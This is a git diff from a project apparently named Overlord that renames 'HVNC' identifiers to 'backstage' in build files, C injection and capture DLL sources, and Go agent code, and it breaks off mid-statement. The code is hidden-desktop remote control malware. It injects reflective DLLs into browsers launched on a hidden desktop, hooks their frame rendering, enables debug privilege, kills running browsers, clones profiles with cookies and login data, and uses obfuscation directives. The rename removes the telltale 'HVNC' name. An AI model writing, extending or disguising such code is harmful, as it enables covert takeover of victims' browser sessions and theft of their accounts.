diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index 6b9d563..a9f2d33 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -47,10 +47,10 @@ jobs: shell: cmd run: call scripts\build-backstage-capture-dll.bat - - name: Upload HVNC DLLs + - name: Upload backstage DLLs uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: - name: hvnc-dll + name: backstage-dll path: | Overlord-Server/dist-clients/BackstageInjection.x64.dll Overlord-Server/dist-clients/BackstageCapture.x64.dll @@ -68,10 +68,10 @@ jobs: - name: Checkout repository uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - - name: Download HVNC DLLs + - name: Download backstage DLLs uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: - name: hvnc-dll + name: backstage-dll path: Overlord-Server/dist-clients - name: Read Source Version diff --git a/BackstageCapture/src/DXGICapture.c b/BackstageCapture/src/DXGICapture.c index 8bed99b..396631b 100644 --- a/BackstageCapture/src/DXGICapture.c +++ b/BackstageCapture/src/DXGICapture.c @@ -111,12 +111,12 @@ static UINT64 GetTimestampNs(void) { static void BuildShmName(char* out, size_t outLen) { DWORD pid = GetCurrentProcessId(); - snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid); + snprintf(out, outLen, "%s%lu", backstage_SHM_PREFIX, (unsigned long)pid); } static void BuildEventName(char* out, size_t outLen) { DWORD pid = GetCurrentProcessId(); - snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid); + snprintf(out, outLen, "%s%lu", backstage_EVENT_PREFIX, (unsigned long)pid); } //-----------------------------------------------------------------------------------------------// @@ -124,7 +124,7 @@ static void BuildEventName(char* out, size_t outLen) { //-----------------------------------------------------------------------------------------------// static BOOL EnsureSharedMemory(UINT width, UINT height) { UINT stride = width * 4; - SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height; + SIZE_T needed = sizeof(backstageFrameHeader) + (SIZE_T)stride * height; if (g_ShmView && g_ShmSize >= needed) { return TRUE; @@ -281,7 +281,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) { UINT w = bbDesc.Width; UINT h = bbDesc.Height; - if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) { + if (w == 0 || h == 0 || w > backstage_MAX_WIDTH || h > backstage_MAX_HEIGHT) { backbuffer->Release(); return; } @@ -378,7 +378,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) { UINT dstStride = w * 4; UINT srcPitch = mapped.RowPitch; - BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader); + BYTE* dst = (BYTE*)g_ShmView + sizeof(backstageFrameHeader); BYTE* src = (BYTE*)mapped.pData; for (UINT y = 0; y < h; y++) { @@ -389,9 +389,9 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) { // Write header (AFTER pixel data + barrier so reader sees consistent data) g_FrameSeq++; - HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView; - hdr->magic = HVNC_FRAME_MAGIC; - hdr->version = HVNC_FRAME_VERSION; + backstageFrameHeader* hdr = (backstageFrameHeader*)g_ShmView; + hdr->magic = backstage_FRAME_MAGIC; + hdr->version = backstage_FRAME_VERSION; hdr->width = w; hdr->height = h; hdr->stride = dstStride; diff --git a/BackstageCapture/src/DXGICapture.h b/BackstageCapture/src/DXGICapture.h index 6227391..62d6d5a 100644 --- a/BackstageCapture/src/DXGICapture.h +++ b/BackstageCapture/src/DXGICapture.h @@ -1,15 +1,15 @@ //===============================================================================================// -// BackstageCapture — DXGI SwapChain::Present hook for fast HVNC frame capture. +// BackstageCapture — DXGI SwapChain::Present hook for fast backstage frame capture. // // Injected into browser processes running on the hidden desktop. Hooks // IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer // to a named shared-memory section so the Go capture thread can read them // directly instead of using the slow PrintWindow API. // -// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data): -// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows] +// Shared memory layout (backstageFrameHeader at offset 0, then pixel data): +// [backstageFrameHeader][BGRA pixel data, stride-aligned rows] // -// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame. +// Signaling: named event "Local\backstage_frame_{pid}" is set after each new frame. //===============================================================================================// #ifndef _DXGI_CAPTURE_H #define _DXGI_CAPTURE_H @@ -33,7 +33,7 @@ void RemoveDXGICapture(void); // Shared memory header — must match Go-side definition exactly. #pragma pack(push, 1) typedef struct { - UINT32 magic; // 'HVNC' = 0x434E5648 + UINT32 magic; // 'backstage' = 0x434E5648 UINT32 version; // 1 UINT32 width; UINT32 height; @@ -43,19 +43,19 @@ typedef struct { UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds UINT32 pid; // process ID that produced this frame UINT32 reserved; // alignment padding -} HVNCFrameHeader; +} backstageFrameHeader; #pragma pack(pop) -#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC' -#define HVNC_FRAME_VERSION 1 +#define backstage_FRAME_MAGIC 0x434E5648 // 'backstage' +#define backstage_FRAME_VERSION 1 // Maximum frame dimensions we support (prevents runaway allocation) -#define HVNC_MAX_WIDTH 7680 -#define HVNC_MAX_HEIGHT 4320 +#define backstage_MAX_WIDTH 7680 +#define backstage_MAX_HEIGHT 4320 // Shared memory name format — {pid} is the decimal process ID -// e.g. "Local\hvnc_frame_12345" -#define HVNC_SHM_PREFIX "Local\\hvnc_frame_" -#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_" +// e.g. "Local\backstage_frame_12345" +#define backstage_SHM_PREFIX "Local\\backstage_frame_" +#define backstage_EVENT_PREFIX "Local\\backstage_evt_" #endif // _DXGI_CAPTURE_H diff --git a/BackstageCapture/src/seh_compat.h b/BackstageCapture/src/seh_compat.h index 322e1b8..7e14130 100644 --- a/BackstageCapture/src/seh_compat.h +++ b/BackstageCapture/src/seh_compat.h @@ -1,6 +1,6 @@ // Compatibility header for building with MinGW (which lacks MSVC's __try/__except) -#ifndef _HVNC_SEH_COMPAT_H -#define _HVNC_SEH_COMPAT_H +#ifndef _backstage_SEH_COMPAT_H +#define _backstage_SEH_COMPAT_H #ifdef __MINGW32__ // MinGW doesn't support MSVC structured exception handling. @@ -15,4 +15,4 @@ #endif #endif // __MINGW32__ -#endif // _HVNC_SEH_COMPAT_H +#endif // _backstage_SEH_COMPAT_H diff --git a/BackstageInjection/src/NtApiHooks.c b/BackstageInjection/src/NtApiHooks.c index 1a8b7de..fcbc7ab 100644 --- a/BackstageInjection/src/NtApiHooks.c +++ b/BackstageInjection/src/NtApiHooks.c @@ -17,9 +17,9 @@ extern "C" { // Portable secure string helpers for MinGW compatibility #ifndef _MSC_VER -#ifndef _HVNC_PORTABLE_CRT -#define _HVNC_PORTABLE_CRT -static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) { +#ifndef _backstage_PORTABLE_CRT +#define _backstage_PORTABLE_CRT +static inline void _backstage_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) { if (!dst || dstSize == 0) return; size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1; size_t i; @@ -27,7 +27,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * dst[i] = src[i]; dst[i] = L'\0'; } -#define wcsncpy_s(dst, dstSize, src, count) _hvnc_wcsncpy_s((dst), (dstSize), (src), (count)) +#define wcsncpy_s(dst, dstSize, src, count) _backstage_wcsncpy_s((dst), (dstSize), (src), (count)) #define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__) #endif #endif diff --git a/BackstageInjection/src/seh_compat.h b/BackstageInjection/src/seh_compat.h index c9d110c..0a20844 100644 --- a/BackstageInjection/src/seh_compat.h +++ b/BackstageInjection/src/seh_compat.h @@ -1,6 +1,6 @@ // Compatibility header for building with MinGW (which lacks MSVC's __try/__except) -#ifndef _HVNC_SEH_COMPAT_H -#define _HVNC_SEH_COMPAT_H +#ifndef _backstage_SEH_COMPAT_H +#define _backstage_SEH_COMPAT_H #ifdef __MINGW32__ #if defined(NDEBUG) @@ -37,4 +37,4 @@ #endif #endif // __MINGW32__ -#endif // _HVNC_SEH_COMPAT_H +#endif // _backstage_SEH_COMPAT_H diff --git a/Dockerfile b/Dockerfile index e5dde26..64cc16e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -97,7 +97,7 @@ RUN mkdir -p dist-clients && \ echo "Using pre-built MSVC BackstageInjection DLL"; \ else \ chmod +x scripts/build-backstage-dll.sh && \ - HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ + BACKSTAGE_SRC_DIR=BackstageInjection/src BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \ fi @@ -105,7 +105,7 @@ RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \ echo "Using pre-built MSVC BackstageCapture DLL"; \ else \ chmod +x scripts/build-backstage-capture-dll.sh && \ - HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \ + BACKSTAGE_CAPTURE_SRC_DIR=BackstageCapture/src BACKSTAGE_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \ echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \ fi diff --git a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go index 0ca462f..d8a5810 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go @@ -12,9 +12,9 @@ import ( "unsafe" ) -// hvncFrameHeader mirrors the C HVNCFrameHeader struct. +// backstageFrameHeader mirrors the C backstageFrameHeader struct. // must be kept in sync with BackstageCapture/src/DXGICapture.h. -type hvncFrameHeader struct { +type backstageFrameHeader struct { Magic uint32 Version uint32 Width uint32 @@ -28,11 +28,11 @@ type hvncFrameHeader struct { } const ( - hvncFrameMagic = 0x434E5648 // 'HVNC' - hvncFrameVersion = 1 - hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader) - hvncShmPrefix = `Local\hvnc_frame_` - hvncEventPrefix = `Local\hvnc_evt_` + backstageFrameMagic = 0x434E5648 // 'backstage' + backstageFrameVersion = 1 + backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader) + backstageShmPrefix = `Local\backstage_frame_` + backstageEventPrefix = `Local\backstage_evt_` ) var ( @@ -46,7 +46,7 @@ const ( SYNCHRONIZE = 0x00100000 ) -type hvncFrameReader struct { +type backstageFrameReader struct { pid uint32 shmHandle uintptr shmView unsafe.Pointer @@ -58,34 +58,34 @@ type hvncFrameReader struct { } var ( - hvncFrameReaders = make(map[uint32]*hvncFrameReader) - hvncFrameReadersMu sync.Mutex + backstageFrameReaders = make(map[uint32]*backstageFrameReader) + backstageFrameReadersMu sync.Mutex - hvncGPUPIDMap = make(map[uint32]uint32) + backstageGPUPIDMap = make(map[uint32]uint32) ) -func hvncRegisterGPUPID(browserPID, gpuPID uint32) { - hvncFrameReadersMu.Lock() - hvncGPUPIDMap[browserPID] = gpuPID - hvncFrameReadersMu.Unlock() - log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID) +func backstageRegisterGPUPID(browserPID, gpuPID uint32) { + backstageFrameReadersMu.Lock() + backstageGPUPIDMap[browserPID] = gpuPID + backstageFrameReadersMu.Unlock() + log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID) } -func hvncGetFrameReader(pid uint32) *hvncFrameReader { - hvncFrameReadersMu.Lock() - defer hvncFrameReadersMu.Unlock() +func backstageGetFrameReader(pid uint32) *backstageFrameReader { + backstageFrameReadersMu.Lock() + defer backstageFrameReadersMu.Unlock() - if r, ok := hvncFrameReaders[pid]; ok { + if r, ok := backstageFrameReaders[pid]; ok { if r.staleCount > 300 { - log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount) + log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount) r.close() - delete(hvncFrameReaders, pid) + delete(backstageFrameReaders, pid) } else { return r } } - shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid)) + shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid)) shmHandle, _, _ := procOpenFileMappingW.Call( FILE_MAP_READ, 0, @@ -99,21 +99,21 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader { shmHandle, FILE_MAP_READ, 0, 0, - hvncFrameHeaderSize, + backstageFrameHeaderSize, ) if view == 0 { procCloseHandle.Call(shmHandle) return nil } - hdr := (*hvncFrameHeader)(unsafe.Pointer(view)) - if hdr.Magic != hvncFrameMagic { + hdr := (*backstageFrameHeader)(unsafe.Pointer(view)) + if hdr.Magic != backstageFrameMagic { procUnmapViewOfFile.Call(view) procCloseHandle.Call(shmHandle) return nil } - fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height) + fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height) procUnmapViewOfFile.Call(view) view = 0 @@ -130,30 +130,30 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader { return nil } - hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView)) + hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView)) - evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid)) + evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid)) evtHandle, _, _ := procOpenEventW.Call( SYNCHRONIZE, 0, uintptr(unsafe.Pointer(evtName)), ) - r := &hvncFrameReader{ + r := &backstageFrameReader{ pid: pid, shmHandle: shmHandle, shmView: unsafe.Pointer(fullView), shmSize: fullSize, evtHandle: evtHandle, } - hvncFrameReaders[pid] = r + backstageFrameReaders[pid] = r - log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)", + log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)", pid, hdr2.Width, hdr2.Height, fullSize) return r } -func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) { +func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) { r.mu.Lock() defer r.mu.Unlock() @@ -161,8 +161,8 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) { return 0, 0, false } - hdr := (*hvncFrameHeader)(r.shmView) - if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion { + hdr := (*backstageFrameHeader)(r.shmView) + if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion { return 0, 0, false } @@ -184,19 +184,19 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) { return 0, 0, false } - totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h) + totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h) if totalNeeded > r.shmSize { r.remap(w, h, stride) if r.shmView == nil { return 0, 0, false } - hdr = (*hvncFrameHeader)(r.shmView) - if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h { + hdr = (*backstageFrameHeader)(r.shmView) + if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h { return 0, 0, false } } - pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize) + pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize) srcSize := stride * h src := unsafe.Slice((*byte)(pixelData), srcSize) @@ -217,13 +217,13 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) { return w, h, true } -func (r *hvncFrameReader) remap(w, h, stride int) { +func (r *backstageFrameReader) remap(w, h, stride int) { if r.shmView != nil { procUnmapViewOfFile.Call(uintptr(r.shmView)) r.shmView = nil } - newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h) + newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h) view, _, _ := procMapViewOfFile.Call( r.shmHandle, FILE_MAP_READ, @@ -237,7 +237,7 @@ func (r *hvncFrameReader) remap(w, h, stride int) { r.shmSize = newSize } -func (r *hvncFrameReader) close() { +func (r *backstageFrameReader) close() { r.mu.Lock() defer r.mu.Unlock() @@ -255,51 +255,51 @@ func (r *hvncFrameReader) close() { } } -func hvncCleanupFrameReaders() { - hvncFrameReadersMu.Lock() - defer hvncFrameReadersMu.Unlock() +func backstageCleanupFrameReaders() { + backstageFrameReadersMu.Lock() + defer backstageFrameReadersMu.Unlock() - for pid, r := range hvncFrameReaders { + for pid, r := range backstageFrameReaders { r.close() - delete(hvncFrameReaders, pid) + delete(backstageFrameReaders, pid) } - for k := range hvncGPUPIDMap { - delete(hvncGPUPIDMap, k) + for k := range backstageGPUPIDMap { + delete(backstageGPUPIDMap, k) } } var ( - hvncInjectedPIDs = make(map[uint32]time.Time) - hvncInjectedPIDsMu sync.Mutex + backstageInjectedPIDs = make(map[uint32]time.Time) + backstageInjectedPIDsMu sync.Mutex ) -func hvncRegisterInjectedPID(pid uint32) { - hvncInjectedPIDsMu.Lock() - hvncInjectedPIDs[pid] = time.Now() - hvncInjectedPIDsMu.Unlock() +func backstageRegisterInjectedPID(pid uint32) { + backstageInjectedPIDsMu.Lock() + backstageInjectedPIDs[pid] = time.Now() + backstageInjectedPIDsMu.Unlock() } -func hvncGetInjectedPIDs() []uint32 { - hvncInjectedPIDsMu.Lock() - defer hvncInjectedPIDsMu.Unlock() - pids := make([]uint32, 0, len(hvncInjectedPIDs)) - for pid := range hvncInjectedPIDs { +func backstageGetInjectedPIDs() []uint32 { + backstageInjectedPIDsMu.Lock() + defer backstageInjectedPIDsMu.Unlock() + pids := make([]uint32, 0, len(backstageInjectedPIDs)) + for pid := range backstageInjectedPIDs { pids = append(pids, pid) } return pids } -func hvncUnregisterInjectedPID(pid uint32) { - hvncInjectedPIDsMu.Lock() - delete(hvncInjectedPIDs, pid) - hvncInjectedPIDsMu.Unlock() +func backstageUnregisterInjectedPID(pid uint32) { + backstageInjectedPIDsMu.Lock() + delete(backstageInjectedPIDs, pid) + backstageInjectedPIDsMu.Unlock() } -func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) { - if len(data) < hvncFrameHeaderSize { +func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) { + if len(data) < backstageFrameHeaderSize { return nil, false } - hdr := &hvncFrameHeader{ + hdr := &backstageFrameHeader{ Magic: binary.LittleEndian.Uint32(data[0:4]), Version: binary.LittleEndian.Uint32(data[4:8]), Width: binary.LittleEndian.Uint32(data[8:12]), @@ -311,7 +311,7 @@ func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) { PID: binary.LittleEndian.Uint32(data[40:44]), Reserved: binary.LittleEndian.Uint32(data[44:48]), } - if hdr.Magic != hvncFrameMagic { + if hdr.Magic != backstageFrameMagic { return nil, false } return hdr, true diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go index fa9026b..57a0354 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go @@ -4,20 +4,20 @@ package capture import "errors" -func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { - return 0, errors.New("HVNC injection not supported on this platform") +func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { + return 0, errors.New("backstage injection not supported on this platform") } -func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { - return errors.New("HVNC injection not supported on this platform") +func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { + return errors.New("backstage injection not supported on this platform") } type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type LaunchStatusFunc func(step string, success bool, detail string) -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { - return errors.New("HVNC injection not supported on this platform") +func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { + return errors.New("backstage injection not supported on this platform") } func CheckInstalledBrowsers() map[string]bool { diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index da38fa9..a0be5cf 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -43,7 +43,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type LaunchStatusFunc func(step string, success bool, detail string) -var hvncDXGIStatusCallback atomic.Value +var backstageDXGIStatusCallback atomic.Value const ( PROCESS_CREATE_THREAD = 0x0002 @@ -158,10 +158,10 @@ func enableDebugPrivilege() { procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0) } -// StartHVNCProcessInjected starts a process suspended on the HVNC desktop, +// StartbackstageProcessInjected starts a process suspended on the backstage desktop, // injects the reflective DLL, then resumes it. // searchPath/replacePath are passed as environment variables for the DLL hooks. -func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { if filePath == "" { return 0, fmt.Errorf("empty file path") } @@ -169,8 +169,8 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes return 0, fmt.Errorf("empty DLL bytes") } - result, err := executeHVNCTask(hvncTask{ - kind: hvncTaskStartProcessInjected, + result, err := executebackstageTask(backstageTask{ + kind: backstageTaskStartProcessInjected, filePath: filePath, dllBytes: dllBytes, captureDllBytes: captureDllBytes, @@ -184,12 +184,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes return result.pid, result.err } -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { if onDXGIStatus != nil { - hvncDXGIStatusCallback.Store(onDXGIStatus) + backstageDXGIStatusCallback.Store(onDXGIStatus) } notify := func(step string, success bool, detail string) { - log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail) + log.Printf("backstage %s: [%s] success=%v %s", browser, step, success, detail) if onLaunchStatus != nil { onLaunchStatus(step, success, detail) } @@ -231,7 +231,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c if !clone { notify("launch", true, "starting without profile cloning") - pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display) + pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -239,13 +239,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) if info.needsPatch && pid != 0 { go func() { - defer recoverAndLog("hvnc patch opera", nil) + defer recoverAndLog("backstage patch opera", nil) patchOperaAsync(pid, 5, 2*time.Second) }() } if pid != 0 { go func() { - defer recoverAndLog("hvnc crash monitor", nil) + defer recoverAndLog("backstage crash monitor", nil) monitorProcessCrash(pid, info.name, notify) }() } @@ -274,7 +274,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } if strings.EqualFold(fi.Name(), lockFile) { os.Remove(path) - log.Printf("hvnc %s: removed lock file %s", info.name, path) + log.Printf("backstage %s: removed lock file %s", info.name, path) } return nil }) @@ -283,13 +283,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} { lp := filepath.Join(cloneDir, lockFile) if err := os.Remove(lp); err == nil { - log.Printf("hvnc %s: removed lock file %s", info.name, lockFile) + log.Printf("backstage %s: removed lock file %s", info.name, lockFile) } } } notify("launch", true, "starting with cloned profile") - pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display) + pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -297,22 +297,22 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) if info.needsPatch && pid != 0 { go func() { - defer recoverAndLog("hvnc patch opera", nil) + defer recoverAndLog("backstage patch opera", nil) patchOperaAsync(pid, 5, 2*time.Second) }() } if pid != 0 { go func() { - defer recoverAndLog("hvnc crash monitor", nil) + defer recoverAndLog("backstage crash monitor", nil) monitorProcessCrash(pid, info.name, notify) }() } return nil } -// StartHVNCChromeInjected is kept for backward compatibility. -func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil) +// StartbackstageChromeInjected is kept for backward compatibility. +func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { + return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil) } type browserInfo struct { @@ -525,9 +525,9 @@ func killProcess(name string) []uint32 { procCloseHandle.Call(hProc) if r != 0 { killed = append(killed, entry.ProcessID) - log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID) + log.Printf("backstage: terminated %s (PID %d)", name, entry.ProcessID) } else { - log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID) + log.Printf("backstage: failed to terminate %s (PID %d)", name, entry.ProcessID) } } } @@ -568,14 +568,14 @@ func isFirefoxProfile(name string) bool { // large cache directories that aren't needed for a functional session. // This preserves extensions, cookies, login data, local storage, etc. func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) { - prefix := "hvnc_" + strings.ToLower(browserName) + "_" + prefix := "backstage_" + strings.ToLower(browserName) + "_" // Remove any previous cloned profile directories so we always use fresh data tmpDir := os.TempDir() if old, err := os.ReadDir(tmpDir); err == nil { for _, e := range old { if strings.HasPrefix(e.Name(), prefix) && e.IsDir() { p := filepath.Join(tmpDir, e.Name()) - log.Printf("hvnc %s: removing old clone %s", browserName, p) + log.Printf("backstage %s: removing old clone %s", browserName, p) os.RemoveAll(p) } } @@ -601,7 +601,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr } if lite { - log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName) + log.Printf("backstage %s: lite clone — skipping extensions and extra data", browserName) liteSkip := []string{ "extensions", "extension state", @@ -691,7 +691,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr } } - log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs)) + log.Printf("backstage %s: cloning %d files using parallel workers", browserName, len(jobs)) dirs := make(map[string]struct{}) for _, j := range jobs { @@ -729,13 +729,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr defer wg.Done() defer func() { if r := recover(); r != nil { - log.Printf("[panic] hvnc file copy worker: %v", r) + log.Printf("[panic] backstage file copy worker: %v", r) } }() for job := range jobCh { n, err := forceCopyFile(job.src, job.dst) if err != nil { - log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err) + log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err) } else { reportProgress(n) } @@ -863,7 +863,7 @@ func calcDirSize(dir string) int64 { return total } -func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 if filePath == "" { return 0, fmt.Errorf("empty file path") @@ -878,17 +878,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD if err != nil { return 0, fmt.Errorf("failed to create DLL shared memory: %v", err) } - log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", 